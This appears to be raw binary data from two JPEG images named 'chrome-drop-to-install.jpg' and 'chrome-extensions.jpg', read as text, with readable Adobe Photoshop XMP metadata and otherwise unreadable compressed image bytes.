#=q#0|FQB).,rL/Q˔6%da#L)b/qp!Bq+2@}D0Ka8R.P@;AZUC<img\chrome-drop-to-install.jpgpZExifII*DuckyZ+http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh" xmpMM:InstanceID="xmp.iid:F0FFCDBE2DA811E290138485D7C80675" xmpMM:DocumentID="xmp.did:F0FFCDBF2DA811E290138485D7C80675"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CC8853D32DA811E290138485D7C80675" stRef:documentID="xmp.did:CC8853D42DA811E290138485D7C80675"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Adobed	
	

!1RAQ"VWUaq2#3STt5Ն	Br&'Gbs$4f7whC%6vH
DdEeuFg	!1QAaSq"Rr2B4E#$%b3D	Cs&?{
O-
Q;/U5?Vbn{X*̄r2Ef"i1WT`<:í1ttI%O!_G5?c{s	f7S5֘s!%O!OeaLǜ84|cg-O!Y|-ֹ9MǫcAѸB]KQlǜct8h=O![cԙ_59
zgO![Y_1ey=Ŵ}NYW=y>/B
ˢz#ܗߞ2E-"<dzq_h3{,h9tfȏYq>zGZm.8hJ܇zvk!Ѯ>SHZ7r
Y.d:5cweM0i-`݇z嬇F=>"GOk}.x=>Ztks#)
PQk}>Cx5>Ztk|Ý&9Mi5!Wa嬇FH=3"0-k!Ѯ>Q{flF4)
##g!Ѯ1{eVlkKogGYq{e9'DE/G"<弇FG9ޑJhf5i9?-d:5O9tCFK:;j?嬇FG9t[GKAj9k!Ѯ>Q{|E]"iQC\|HrCMkz;?-d:5OYGM'/Zގx5>Ztk|Ý(4I=?
O0gF^XnPk!Ѯ>R>atXh.PϢz9k!Ѯ>Q{fBMУ"r#g!ѡ{dQRr#g!Ѣ>btzпbv>Yth|Ş4#B:%hG/9.zFM.G+D7"9
g#ѣ%m=+٬hs{*@{ȎBnhs~{+.áxnDr}yGs^{+cVxnDrg#|z5粸^:MG!ZQe|n]sּ/T+f  t
ؙpG6dN\]4njsp
X[ͪE7.YJJ
QxX1S17U[JBM%\5aΐl(,dv`ݙ``3h0rc';*tY͖^9gS5ՒeW"FZ8TT8	+w$Qx%֗KY/x)l-*?Nc=_iVvy]nBT1(
\]<$O!;SSu{	~qTk\~VfmsUHK;7J~/10c]#?^W1\]R#b/M.}.Խ\$ȴ>7py	jQBUB蘤`EL	y_zZ%+VͲx]u[=u?iSVR!sR2KSOtYnV&sµɀvy>G7s?-GrzבI˿wN_ŜGeˏ׼_0kgV۵_ަ{#j
"Pf,kuDi{`./P5jN\,vڎXz\!P0;We3y׻p&%Ӧ-\uT^s=pSJסQU$6ff\'n#s9*"Q'݀͘J {糝or`IWEVmҶVe,I7EM&ҭҊUݭh<!(A%6lꦺ:Gםp`( 8t87xk/=\|/םH5+U`dW냆8ٷef|q<c>^wo-*x(:`&a"j!Sep8v@klz|ƹu
INеxD]fC~D{J5>/?8̩b%`8ػR5>/?Qɸ^4?ޫEdX>beQ2?Egk8~VQ+	2#Oj6>p?Щ]~g1*;2wS.~A-Ds;".4TBFHT27pW{SG+zabfsn:_u[	ڶI0X^&uE5̈JtRCUt\|ŧ='9-~/Z/Hyuf8A
GP3e/sxN.rqFsOl%bO#qsu4D@.
mÂ?NIN'Sԃj_TLDG8NW\jtY.K_8]Y(}<Ot_q8ɾ7W~RLE.b?NII7V;W~RLE.bOIS|q(Ot_)J77.\='9H~x<Ot_8}->[.|YUB6EV*-NBD*S
 b;0wfQ(Vk*ݠ2-"lt8?WS[OϘ
\3k!
UAT&rb=߁8	&l6) :&.&Rm2V)?F
8SkjN*G+5"yۏVtq
Ԝm=0.=0:.w-h6Xy׎_/%U4x)OΛcCPNƍTZ}.)nB
`$!(*ۜ)S2´,b:W}i	iM5NanXˁY+P}i "y@vbs
4i6íTZ}Tcۗ%r[lnȭhn|4;3)$9Hq&+͚|\a)I5Zp3QnP5/aH]U‡UQU Naol7қ?Hd޿IB}
~6S^Bf(69|k7g٬p"p0|DhJhMY1牕m-6joFjp0ZO/-d~62ߐ9-g3aB;Yzto{gsЯPz9ɓu<.L;0ʹz.ӋÊ|e^weXw'H2űl5'u-$ |a~\:w2qoqx&ny%\hM\*(EQ-|g/[5AbQp2BQ6a@D/=m,LE(:Q6QhMѻiEmoPG
OCqUII}TkiU++WeM=7o[5"ܺ",7N+v5{x:<KEM	J@M0˴b "fχfݧ,k159RXrZ[mEtS,14

XqRWU.MkzŅp4Hˬ}4Y	2DW8IB)X%•8k*RtGnZ!n[a$ /(w˼^MdΉnDȱ]VvL1Lj}JtMQVM&M+<Œ^ާtu|v3+FY0JU4HZ3$MpQsV;JzZw{U-UJvZi$(Vj߽Z|Sj@ݐ \ɩD^*Dt%*vDY*(09˴D6I:*OJkFDh.ZLm222j`dGGMʑDÜsSՅ(	8nWE,V𜜩k|Uo.k&5a"$jMH*Qds5:CT0'QuEM
~lMVjiFT$I^N+š_8ILړJ,36aR.RRuVWɥLՋ5(cbZ9n?J5~"~ou0YQ	K(-ܸM4xl*)
AT]{괲nƌMT]JpҶ7[K6_jvKAPtE#4'5&%!9Kuyt[Z7_w$|,9N0)@	ZKkpM8Rwq]-mT<]Nb^.f@HstDL06NIfB:֛RRfY
_
rX_&:<eÅ[->#͈ީ=t#ػ͗xRM'<rϙQmysz	w#KqZZvߙ4ȑ/8.t~5w8eهv2>mjt>a(IVRqz(G]"e{n)BQrrjVb1TU"lAAaHp"!YM_NM6#Ô),:i'djԝ-yUvpӕvC >y6jaiX"wxԎd1ix4㋶۵v*չ:D.[9'(QU7\9KUSjt8?WMb^DkU-|*VY{(U0np)1$7U%NtҢu-9+|3˼$jj_յZ(Tj.QoKŲoh>c"ZejD%D!:'0m6Ëqѳs|A)i2|
Ch849p@i@>Zwk0ZcŎ%˥q2V8r]l$3-S&UN&+PL+zZtFu~q9
v<ձCݵ:1KV>uc'ec>irrKJp?xDx`X(rR.)L b<<5}ǎ3PzXJRtkH0xI3bNh?	
ؘkϖ"zW
Q"K*$uS1(QJITNpݪQnHgw(cjhͺP Q5
Vn?kN JS?ҠN BS9(k)@~XlSRC@kL.~&&)wAcG\1G85OLfV8vp7)UdDQ8~X6LQ$<#ʮ%>mUA鞜dP]e@1C80jٜH尒tM?	a|Kjf˫<qfE6Y6ILC,O02&6#mmW=[,^P:]"
?LMl
Hs8.p̉fb|"gPB2baO9#CR*=Vi?1=ȯ{'Q
HRhs}v6$Y˵Y$t1À;iXzVv敶m(ґapAEdVdQ)`Oz=RYl+*>&ZRôbO%"rPW2["bHSq
۩_9vAKg)dlDY_(ȨP9C`@B=ݰ-HhDx
2Jb8"۳Gbhl=Ka3/f}5Obh|=KaP̽=+=#"<chb/%10mmž=-4*:镖($8*eȊ` 8`l0{/wԶQ7AX}V"mM4)R2)JMvR7.:%ejM	pħ		 Δ/o0^P:M<MHX[@,&9d_1)>h	/߼`C%eG͑	%6i@r~@<_xwjo0]!u xS~c0%3# b  ,ӣժsElTAEÈT}Huv*TKƽ@zZâ8uZgYmf?q؉~v襌?$<ޒ[X.Oqx蕊?$<ޒ[X.O=b6/ǐZzImc>;0Ym2}FJȇQI-|'b*'hO[X.OMٝ%?t2}v">Z|{=Kkq؇';3$ޖ[Yq؈{B{#;Kj~=eLG{B#;KiK-|'b"^!}Y%w>ك9ė|w;Kkq؇ piyޒ[Y+v#u{
&s/~3%|'+Gb9FZmd/-GaIi͉
slf5n8R/{0aX'#1!6c96@j>+1l24Ï<eæP
pffrf )1M"BC@j>)|7/-w=ꋧ(Cj͇aL9D6tsɕR acy>[Grbd,-
c]6d$
an)jSxCe9D3Àl+(e?.[>l<7j{WKO)a/̬7.l@a_\ĺJe2&idBD^`PψUv|;ѱ贑VvUY$U@1F)(m(kq.ؽ
bűD9Ox`6`bͲ/a c$*vq\DJL
6h/uBδwEՒmtQ,xi}tI][ĖX7`S'&
vigi..9\d']C?\o) 4qYc9
wKa#ZA|w؉Hp`.rjP)tݤ}ScDZ-pxsK XtQP	EL!kM5m4o0ZosܮtjJ]VH!$^0b>Vn=ã6\幒0l2`eRInpIWP’Sʼk]%vn~VhRjYvJ;&E$1	CowK(>ɓuʖ*y4H鮗]5F;ko֯}4Q֖nҺ"wWM*XYjUj Xeb\uRvڗJwuWUz%([y~%Iu&$19	G
P9ʜ:9LfRjZߔ{JF)Rv$ۧf_]RM{7pF3tyYvo$ϕrUf]")wF*oHbẽ2~JV&Uгo%l*(*"VSH:ƅ˦-{nU]o2cCPlw(1i˵P)E\RtsMҴҩ	%M_Kdӡ5
IEFzʧ7bMAuҺ$V^eaػaxŴtwjI wXD;HaQ3ES6ߗuҚh^BҔ<?Uz
+k)i򛥮Z4PU
չb+5UT?UQ(8bɊIX)Keӎ%ݬh^Z1MըѩkWsbu{{1\ŢtJZy$5+H(PS+BQ1wiRUͺz?fhJTmXPt_E.:-:>\jUmwm\p짤xyFX3HR*Ҭ(7x0 E	Cd(NTjjmەJ
Uhe/XF᜴d(d'Qn#4lfJ"'29&vQ՗]tQیM4JwEg^ȴ(ID
rQ-4՟ENC,Θ b&|8 s辕ܢ~)KZ͸ޮ_j,Ӧʴ+Hm}<-ƚIvs@sXxpED'0`@Y%'wIpTԢ\
J;4J:m[n-KB"%dQ6*gǴe6)7xtcY;Gy`f(P
@(P
@(b%`=6ݙЏ[\9E6+HIlgR8$
cR4XqlPͽȊaY8&(>RDD(C}4So^,'ȶViΉ]\R;GTȠE"@K	
nd9"Y~R׷_1ܹPh,nj@Dn8ؚfl쿏ֺ'?t͏qfwn5Q9tv)BH=x끃~q}#i_jg1a8[*X}$yau3䈿,/|zϒbPTL

-Mj	$Iq)C@P:5ݓ7YOnIe<FuY?#ѝfSh[Zo,k7m@C:o,7~@GZo,7m~@:3f-7~@:3f-k7`ShFuY?nIdtkYm%Zn3IdtgY%Zѝf7OhkYm%ZѭfShtgY%Z=n3IdFuY?#ѭfShFYO!ѝf7OhFuY?n3Ie<FYOnIe<FuYOn3IdtgY%Z=nIe<tkYm%ZѭgSJx-DWǺT:cq@1)^g^X_(
=?ԂIX$
J]ѱbh623l`Zut>

&,>U¦,FUp@(P
@(P
@(P
@(P
@(P
@(s$~j<zں
gN}w_7W)kO`GI4^],=J7]J쐉\$2$94AP7u`Cv-5SYb/$"iÈD06jri+WS>4iT83-1(d"]pÛw{G!!f2\PvV*ZJ0	v

WBU{8.>9IeيBLNU
!1`5C^E2RZ$\5AڳLQ%UU
*@0pf-%|ʆ3Y4FAO&bRm10mنS*)&CPʷEۇ@*i,ʉ)d'0j]yrӜp݀e@;"S0YigO
ѳQL#G
;4Լ\އIg'>IDR^]12* b!;q*im7lI*[Tv
V7g
v`ImD9͎bq
)^ ny9LƠP
@(P
@(P
@(@Dxh[.
Lv@pcP17AH@CJ)LB	d BmJUt&Tț6rSrS5HYEItRf1
#ɀvcS@NMD
`rٲxL&aTgMI;ɜI@D1
PT\L6j䫛0ۃQsaI[t<]ݛמ.up=6¯UJ?tsMN}!!U11;>oZ&9ÐxBeX3MseaPX2R#SvT8j%x#;rB/r\@8aiKeI㘨sF(U0J8@ҥ"͋Hh	05*9xgXG.	S2
bL0m
p9Ro1\ ;
KrFj a1R_.Dp6P1*ACcXc9P.\9p1@C#6qXQD],\#@m
&L4Iа&5M`*\rm<
]րP
@(P
@(P
@(CNwD;̊bLp!H !8cJMw*:UEY7yVISa1D@1L>@pƔ&P%`¢B81rF)q0v;qZXq I€d.T@SRwR(Q1%iHEf$x8lX"L$DJ	 ` gڐ_d(G
rUL
rBYsp5tr<`ޠ9[@EQdA8A!::Md_púYχ5n{Jw-&(aGWʸqi9p_4"P
@(%qChd1oh@8Fd1oh@8Fd1oh@8Fd1oh@8Fd1oh@8Fd1oh@8Fd1oh@8Fd1oh@8Fd1oh@8FMYG&ܾTX=oO꿕6C3D5+pLە@0T8ϩy՞*oi:ƔhHn&.9Ĝ P?gC%dPE	JlC0eU7;pĨs6@ؐa6=p./@(P
@(P
@(P
@(P
@(P
@Z?L&]<Sׇ|XL˛
468]ުսZ1=evS{<^4ӭ4@"HST؎b
õqzz;,z|CD;U@/(͟(g8pjP
(€P
@(P
P
@(P
@(P
@(\I(:?n=+-t5NoĺPJvoAgf>Op~saNNܵY"b0DS\Q*'DHrDD3.k(/i5xV1XQo|tϕS	J@f5-*W@zvy	9r<Htc"`pDDLPʉ3 #(.2arx0*fHTQB(Qw˴2#J.%ZXfՁ"P
@u[jj6TQwYyi3"R\{eEUM4㷕xu+$jCLAQ1'>mb[F.7UqEM\7%Zߐn \ V@&HrH@jUOswpۺwm,$TD`ˈ!qP/wx*"JWN&Ma[#gł*U
U3qMӿ3kʩ˪IRDEQ*k6(tUPEB♌D `!Y]oMg&CтDJf+p0}gM#8`@0۷fڋ+^+?{bb"	XQDۨ(\:dS$%em8x9j#4<HfU1ۙ2BG?YY]i[Ⲽ:IVUR2lcLco
#6v+ݽcwpkm	%6t$2Ua2efQ^||e'&`CtŪ"-
m*@8fa"(U72o(I,Fhf"9WX!a{8~#nKJ8\1oF,(ALJL\8G:`_amN9}ě{xDH6QLXpdG	@`!Àe{]y	3"E9,D#7;s'1C!X#Mnodk⯌[Ŗ+&A0$k+7lS'scp{0R)麸wxͨwxI#3rP@X-\ήRJ	7bK+MϬ鮼5K|P\Wȸ5$&K0" f"8lRϬwx|u>6pT`ZEPXR9$a&!S(.O)hNc'ZvsJm2N	E#0)Db"lqb
d[4-vn曭iMOOwj{Ufn6 LJML"@!hpvCWLk_9jy7NVvmUtW ݱ3TKI,۳aV`ʉRO^HXUif_rVk,TV$ȦXA"(	|lD=tqUrTxST#DG rw[0116Zw0]oi@&5
1لr#v8 ƕ		/wYDb	]M؛8]0pƣqKKA"P
@(~$MRvһ?N3w6[5k6FPc:f:&[xpS-?
-U=>S"=P
@( "G
Xj~oP
|jO@7>5ߧƠ~oP
|jO@7>5ߧƠ~oPpoPpoP
|jO@7`
9
@(Pē?9P<tzWg[~UFC
20#k2oAe9OeǞjlw6 I0%{aRP8~pf,G5D6kLJ"o
d&E>?tP(o
Gw&L2d1$1b` "!Fu@@GP]>HԔQE baǵ@YkzQP8L@xɉT_&'IPa~}%@9b}ɉT_&'IPa~}%@9b}ɉT_&'IPa~}%@9b}ɉT_&'IPa~}%@9b}ɉT_&'IPa~}%@9b}ɉT_&'IPa~}%@9b}ɉTAc@TC&Q;)
r KC@v' 068mP
@(\I(?zˆw?i~ڛ=Aaa,Z[~"uLc=8!s㐙x!fÇxp9P
@(	jL(
lէ!
anH}@(P
@(P
@(P
@t:3{)M)PͿ^eAQb=2@(Pē?9pc.?Gک~ƫڛ>EgL4ŪߺeEòǧzgTR(P
Zc?Ҡ5sXR'P
@(c\JϸndXE:
qҭPU5G.@Q-R7fI\ÓT/wjUkMBn4p']VEz{9Vqmˎ5cvM/2AUBaEW `@>誦+
``+wNI&UJ6<E,M5jZoZI+4Ǭ,$d?JKei4FHC(a8((Bg!&&
)c/ْM>5U67cMCܔ]m50[o\GK.V<pɳ7Go\4H(+rc	M5Fn|4UմJx,(QpUe]4΍TRRſxtbH))RM$#ٷSKC33X*2AΫz
QNQBy۠u҇Q		quٳ]EwKTnq)TPgLA<	,oUJ/yƍ׼ej4G5>oU*pU;iZ^bV]<PMcQ@{[TJ)"PN.i_s]볔kZVʽ6QT)7uGTJht%ۨzpXN={)/%7lnUo+T9ӚXO=Bi5;%=Ň,e5rGy`q>
RzP
@(
w_W`jɵv2@(Pē?9>~=5c&8ns';ڞ߱0VcֵR;[L(S9Oƨa@(Pږ~п؅:P
@(1
Qia3U#:s[][:nb @Hii]!eXcHֹ€u1qg}[7iެSthZ*bY7MʵtWM,˦Գt%¿,$TNrFB5Qߛ#!T@ lbJW䷤o&m5<\7nc޵ﺴ,0Whm#u]{m4Uxtge(#QU2)A8LJLJ(bŒ!|SU]nֈݎOC䗥&IUYIu\NK\hr/cȊяf&Lw]DY%@ (7(
JOzZ`Wnn߻ckp%itZ`x~cڏnLlj{s(e1~s9juǼ\(tZ*7IN%WnΩz_wCL\0P7T{w)8[yMZ.W8.G	L
`)r5XerQf<5أyueek0p9rQ
63oٔ#sez$SL6ms+SSO9)wV
j.]M[ӱl.zoWLmvњM@<Ut2C|J(07kd)=2mė-(RKaӻYP
@(5Y]K&iڿiրhP
@Z?L&>iKxv]?bqoL?ՆT>-?
-c=1)v1e9)qX7De[10pT*R"	A,ݔsal(<5Hu2P
@(	jJm\jяL"C`hCSt୛	dDɐA5$٤pC(SCo5f༬Õr~CVz_hp^VaYk9Z?M}yY+@=g鯴8/+0h5f༬Õr~CVz_hp^VaYk9Z?M}yY+@=g鯴8/+0h5f༬Õr~CVz_hp^VaYk9Z?M}yY+@=g鯴8/+0h5f༬Õ:sQ.YǢ^*t&NAَ;($hʨP
@Z?L&>i308+'N7_~޵ߺeEyz|5E.€P
@( `;t_ܶHr
y^tj)ӕ4Zf1DL$hG>HOz!?Z>#!h>HOz!?Z>#!h>HOz!?Z>#!h>HOz!?Z>#!h>HOz!?Z>#!h>HOz!?Z>#!h9D"
?S̴gZZrIY
}G6p.4P
@(-s&sP5~p>3~LW8Wýa?kUtz‹oe>OLj]P
@(&!N1)"Z0oŠsZh0oŠsZh0oŠsZh
)egeG.)PNpLa(b"`քI吃thGf- ߑ1xD@p@d<sZh0oŠsZh0oŠsZh0oŠ'DPP
@(\IVw:WqS؜cjz/?~XiZGg2ރ?=>S*q@(P
@(G3Wmǩ.%c)&GlݾhVN@ɜP11q*E1L
a122y򎳋NOs٬OK>Ѥ=֝4߭m+B-MhY@:܅L&$
:gzƅҞSZ?9)ñ}ՙqă3uiM_p傀P
@(^my1VUbDɾTt!DJ""#i=)39lBb9gN} tPI?9H11\("&9Ph*%R@P
@(P
@(P
9gG?q5Pg|p_qoߣqI
2Z][~\{(z|uF.€P
@(P
@(JSv,ƺ
I#uM@L90dGOe,\NiNNQ[jʼn}PujJ7
SA}2J&SW61ϔDD{#SW]̼Nͺ~-7_H@(9ҭ@HL<S0Ihi"lD2ٰCQSz5UW<dv΁_&iάQawWR&Ey	'"d. O%3sg9E7*$w]ji8Dv
-:W[T[ւ\6q՝;m%7(2)T\lK,UjڭJ+ytҩv6_Α
WJRjQSgYwm9A:rd#Ϝ'ȸMVdr>VuUUUZmfl97)FR"잚ijp-M@;jt_P̹ᗏjXeh.A8*t)jQ39VpҖ~sM4b~gYE/8v֢B[Շ]g,	4"SF
F@&tB1H@D/*|q+jƪSFPe%KtMUYZvۢgjTF+L
vg<Vqo+ ]A1pMQ1*.>՚ty7EK4x
a6J]{괳M4:d?{M9lIQK&(h3ȇ8fL¡A0"CÍjiqUDѹ'=<[wY*FTOO^WySaAP
@(P
@(~$M@|nһe/2VcֵS;YLEòyz|F.€P
@(P
@(ECqe66hM:2jD$Pö`fw
yl{bz7+J}Y0nY b2V_rw0u$[=7R2z|@(-30wLC&P$#ȼf`6UQpS`)ZLdւ(E͒+vT۷LB&BR.+)IW1IQh&=F#۠,mqbI&.47MMg (r#bihn:V]b4P
@(P
@(P
9gG?q5O8ct_N3OOIq˦:dVT;Zz\{*z|E.P
@(P
@(XLm
3NE1C_;bV/-b3<8.P
@(P
@(P
@(P
@Z?L&!Cǻ]_g;ڛ;QDlٴL.5Rrއ!t켫z|uD.BP
@(P
@KUTIEP"Dʪa(b""<FɌ[tZOoH^Y,^ۨ\qF`8I^ %
XG1NR/	+1c$2]H\L<&18iP$@(P
@(P
@(P
@(~$M@|x=`mtɎ?v۟=?ڛ;rqVgbMrއ!t1
@(P
@(/cNA_ޕqĞ .b2Xp*G]r=UEv.^?k.#jKbbWyG$h>gҎWNGimRtu a#]
N#^4d1~feMK8 }W`?BP
@(P
@(P
@(P
@(-s&sP5;t>#z]?bqWpr73ȁMzd1RUuz\+ǧz`J)ҭE *$RDDMQgŕWYW^QgPY^xEyE)@:qey|ŕWYW^QgPY^xEyE)@:qey|ŕWYW^QgPY^xEyE)@:qey|YYN}|t'\̤,x͑'\,rHbEGPqeNAp,\^<.0uܫ*dr݅ǬZXو<<8h[OC>t;I4{M}-xͅ2!?26b򩀝C0k,RKav,leƜ'iZ+,Jt+,JӋ+((N,<"ϔ8>Rt+,JӋ+((N,<"ϔ8>Rt+,JӋ+((N,<"ϔ8>Rt+,JӋ+((N,<"ϔ8>Rt+,JӋ+((N,<"ϔ8>Rt+,JӋ+((N,<"ϔ8>Rt+,JӋ+((N,<"ϔ8>RKPM;-E)Y&M41@<c'mBG SQ7Ѡ>l2w_?>nG1;prӍ5>(T?¨.]c;&#PlEݚ7wtT2Q.dlc&|l2.6~seD15]mdT
ky9:\Q
ky9:\Q
ky9:\Q
ky9:\Q
ky9:\Q
ky9:\Q
ky9:\Q
ky9:\Q
ky9:\Q
ky9:\SIz~+c^}eC]`u$[ڮudKHA8;eL6v<YYz˘_/i\ĽVCv([u=jZ;CຫsNZ9p
u6D'=7+ɽNS}a:G1TRw<-xk[hiu=o5{٧'K*=o5{٧'K*=o5{٧'K*=o5{٧'K*=o5{٧'K*=o5{٧'K*=o5{٧'K*ujЍK^2V=Щ:Elc$NC@o
C	QV9pNGd隱x6+A2wj)C*X.ַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓַ=ӓ,&ےSkj17LܷAD۶"d%؎;4qT
,[`)@XaդF6cc?ZBQe5+'hJ*=ݒh%Y<Q;8U<l\P<m5k%N3_>hD#KPJ9L^<țC
oCW9Oݕ ۔ӆ0Qd(aTbA((
eH؁U#Q`%HBn#O9n#O9n#O9n#O9n#O:?Xeu	v[LyԴ1V8E0q$3JA$L8|c*oI+$xvO~1N]
,"(5CzZiw]buu=iDq׉:aMpRhaa8&cpc^mŽo:1s]/s7Uei_(	Q#wبg͊j1H;3$\@~YZLE1;(n'
Ot(> P
|@@7In'
Ot(> P
|@@7In'
Ot(> PRC %LP@􆀗Ot(> P
|@@7In&+wCG3ʭ=kW8{Sg:,Cnݭ[.]c7f.*]fȽ$QGH1jU0
bTV]9\K[A~˖x%
܂®
s11[pƈ4j֭\lj5F|;1IeGmEj%*Cbrcg	+NzjU^JG`8a:^⪕COu;XP^V>x%0.eۥ|x%p;<Z7"Β(bq9vC	Oi\~*jD(/)Y-MI%ZZWd(d,.QͿ'.&#xHTM*:;U 2.ܖNWݟIV0.VsNI7p$ӜZTzRMRu=ӋNmD1)8VⓍp&!~Mډ2H8a	cުJجDMѹ:jVIEֿK
OҬԕ{
CQ:idm5iČms.E]i)$oE\HMCbxqe"WwK*εiWCxYjWcyGi7~޷Agd뛩֢[\pnY5eZ7RU88`b{	`znʫ"ZUŻZmZ8Yia.~RVX^J]/oQvu}5q@ @2x[YgΤU:"&	*u١VE'm;T]ZNVR4kJNʮ+*=.iܕ+bZRZHU)AR&WnU|J9@ Q6Pfu4[nM[߳vhsvAg7n+@`-kDSvfu :q*2b$[ޘe0ـE?l?Ѡ8P
@(P
@(P
@(h/Y.:}_v:wu$Y{Yd9n陡puT "`0NY7Y#\QlME&7Q6VKu()^%T8A2`ĜT6FnښvTj5$yѭFN.QjUW	Qݕjx>)Cۣ,
$Aj{~5]xr_lUe]!j*즚'78ƗeC
i^RKK[Id䞍7FqFZS!gD8u); %r'fQf1WHSܜ1D>P4bB/tuݭ+4n֌ӓIMzY8]N4ڶ^ugi|Ej1<¦k!#xHW eMӒn"r׿8>7:ۥ+-u=8ēEW~]UC,m.lnH"M%bv9^.|bBMTx9L&]
V	hvƒT1I1rc*eviW1vլz러(D9k0EW,q(‚U]@!S2G<%[MMVSPwQKMw~'}l-_œ9%TcJQI;P4ztfbD@>HK-?UjUQ'juЌ/*we-Z]U&ywv.ѭl&Ifh<v&z&MJE0:)}X-ue]hUs,;Q[V7*+u%f1aq\1g2=PqA%]<۔L`vWphg}UDoi(zRg"cwy˶csosbf9;}7|3c/a6{u8~m}&Jȭbi[`|Z"{R`U#erއ!ss)7{)BcG.6tw>s88bjyZ#n`X1?rg
?7~Lb8cKPsT`c70@1/!B>3;//!Aϳ;b)R :%6f)(@@~RQggvlc0%KPzsTd=cgvw_*UzqTXٝ1T.p	*,@Q@pGTYb𐸙izúMƱ5DS&S@6RBʎ9	GJFpܭ|QPo4crڍFBnVQ(ҨQj7U
1[FJF7+}iT(o*ܭ|QPo4~o4ܫ|QE_*(7*iQAWFJ
ʿj7TPnUQ(ҢrڍF~o4ܫ|QE_*(GtTPfy17lIǘ0%?s*(9~Jb_?R0%?s*(9~JA(EUQ(ҢWr֍F!
zq:oOe8Ԥ۰(C7llKO۷Jv&BeMweMmED2&cX-SɾizZWvxL/5轅-w^cb&3oE-Ym싸)>KZ_q56.SKvt3M=Ym옸kl\/{>Y^ՖȻ1rLo-w^cb9xoO7͊Z_11r|o5#E-Ymw^cb&^k
{bI1rϳL-)Cze}|إ=YmMy/<S{V[k$]יD%}Be}|ةSՖ7q56.R>7ybEMy>!}2lREMy>!}2lREMy>!}2lREMy>!}2lREMy>!}2lREMy>!}2lREMy^g/W͊<=Ym싸9#/3<Q{V[k$(k\<Q{V[k21r/5<[Kz_ 1rLMN;b凫-1r䘛uo~|J׭nPՖ$kl\Иunzi}֬oCV_o㉯1rq5K՗$]טعG&[~_5/CV_o]y㉟gVߦj^31rL:4kR5e1rL:4kR5e1rL{94kT^&6.Q㉏g6צj^g1rfc6צj՗C6s94kT^b.kl\2mM/Խ
Y}&G3mMoԽ
Y}Ĩkl\3mMoԽ
Y}ט<s1K՗.kl9slk}֥jq56s{9}5kR5e9ǎf=>5zyMy3mMoԽ
Y}8kl8̿kKMj
8)f&}[~_5zy1r瘙un]/՚5eטعJL4_
aw^cb:uvz?_!_8M}>4<xosOȯXc^7vW}*u¾/o^ 2img\chrome-extensions.jpgFlExifII*DuckyZ+http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh" xmpMM:InstanceID="xmp.iid:F0FFCDC22DA811E290138485D7C80675" xmpMM:DocumentID="xmp.did:F0FFCDC32DA811E290138485D7C80675"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F0FFCDC02DA811E290138485D7C80675" stRef:documentID="xmp.did:F0FFCDC12DA811E290138485D7C80675"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>AdobedJ
		
	!1AQRSTUV"Ӵ6a2#3uW	qr$458BbDevXCcdt%&wEGH!1AQaq"R2TBSbr#3cstC$4%?ͣ)wviNz= 卉NRmݯo]ywH-Nsէ5*'@YJgM'&-ؘLEu	4@
<jĪ4//ؘ:!m*T+5MPmBEÛއ[#e3)G
-#WeљeU\;:0"v	f٬C`Q(yh$9ÍPft+~~&יFa78	kSY6Y+M=<y)a"}9k<;J)G+;Mu͂ 	6DAj\@q
@b4xbx`rU_40mscC?
&*DZ|g[IḎLN@G% "dp@BeIOX*υ]&~ͳpӆoMvKfNCNyĐq
`Tx`>$U2q /C ʕ#n
#Y	1W\
x*\Zt6kZ]F͙;qm4$Q	x
#(`!ڄ-Ïҩq\Nrtm
GW-ϑǒQ~ic6J"#L}\>FIDOFn|<HW-ϑǒQ>hc6J"#L}\>FIDPic(HW-ϑǒQ~ic6J"#L}\>FIDQic(41rly%>ic6J"#L}\>FIDPic(?41rly%C摦>[#m$'#L}\>FIDQic(41rly%G摦>[#m$'#L}[>FIDOFn|<fNiHpL*E-FVE&5VAÓI$t 1GA12JFVu3sۖئQ;eyq(.:]EV҉~*.M!gʀ	W!4#]/Sl78X.eNC{9;v=eb{QIX46e_oD[S˷Pi2iźsw,€"0D1p-iziS(<J Ϣ\y
dxn墧@am> grb%\Qd#fL0K\isѮI}1IrIwi=~2D{:=)0tÕ]$C3Dvh03mȦ;TxɆ$z
d-_Cvf$M*defGl79[&"h\J$578%yk $΋ﲪhaH6\ e<.A/1PTVρ22189~	I}WK
D
)dp=\SlJюWAtVX$CDppUr	01@1`.	Njjtk"ьڲo0LR>-,l
f'T1k	ŃA07E4/?(~4
瘺It72va u"b'HXUc"ن8DQ
FںZ)<")46L&Q)d"G<79)s;bPc|)Su|qg{)(tTM[-tɌ./k<4r-΍:UHL@!YaTJ?8.<gyE\68hQj
0hb{JfHVO2Ɣ#Rݘ:`U|Fp@0{rZ@Ǝ7ȆV;^r$sfނ2->RrU	~6EPh9aPCN2Pt鐉?iQxHu(5
:fi[tY5AI2	 D@l
srl%-Nzi{+\x57}|'WPQh<5Of
G٢'80{="s
G٢'80{="s
